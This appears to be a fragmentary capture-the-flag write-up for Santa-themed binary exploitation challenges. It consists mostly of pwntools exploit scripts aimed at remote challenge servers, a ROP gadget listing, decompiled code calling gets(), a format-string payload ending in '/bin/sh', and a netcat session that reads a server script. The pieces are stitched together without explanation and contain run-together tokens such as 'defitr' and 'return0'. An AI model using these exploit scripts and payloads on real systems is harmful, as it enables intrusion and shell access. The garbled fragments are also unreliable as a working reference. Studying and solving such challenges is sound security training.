DEBUG = 0 if DEBUG == 1: p = process(BIN_PATH)# env={'LD_PRELOAD': LIBC_PATH}) gdb.attach(p, ''' b *0x80486BF b *0x8048747 ''' ) else: p = remote('199.247.6.180', 10003)
alarm(0x3Cu); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts("This is easier than you would think..."); puts("Santa allowed you to ROP me!"); gets(&v4, 0LL); return0; }
''' Gadgets information ============================================================ 0x0000000000400774 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400776 : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400778 : pop r14 ; pop r15 ; ret 0x000000000040077a : pop r15 ; ret 0x0000000000400773 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400777 : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040065d : pop rbp ; ret 0x000000000040077b : pop rdi ; ret 0x0000000000400779 : pop rsi ; pop r15 ; ret 0x0000000000400775 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040053e : ret 0x0000000000400542 : ret 0x200a '''
DEBUG = 0 if DEBUG == 1: p = process(BIN_PATH) #env={'LD_PRELOAD': LIBC_PATH}) gdb.attach(p, ''' b *0x8048607 c ''' ) else: p = remote('95.179.163.167', 10006)
elf = ELF(BIN_PATH) #libc = ELF(LIBC_PATH)
p.recvuntil('Here are some gifts from Santa: ') binsh_addr = int(p.recv(10), 16) system_addr = int(p.recvline(), 16) p.sendline(';%22$p /bin/sh\x00') p.recvuntil(';')
[43602.DESKTOP-77F0PG3] ➤ nc 199.247.6.180 10004 Welcome to the Santa's Archive Name a document to open: redir.sh redir.sh Do you want to read from other offset than 0? (y/n) n n How much should we read: 200 200 Content: #! /bin/bash cd /home/ctf sudo -u ctf socat tcp-l:10004,reuseaddr,fork exec:./random_exe_name,pty
defitr(name, size, offset=0, block=1000): p = remote('127.0.0.1', 10004)
p.recvuntil("Name a document to open:") p.sendline(name) p.recvuntil("other offset than 0? (y/n)") if offset == 0: p.sendline('n') else: p.sendline('y') p.recvuntil("How much should we read:") p.sendline(str(size)) if offset != 0: p.recvuntil("Read register from offset:") p.sendline(str(offset))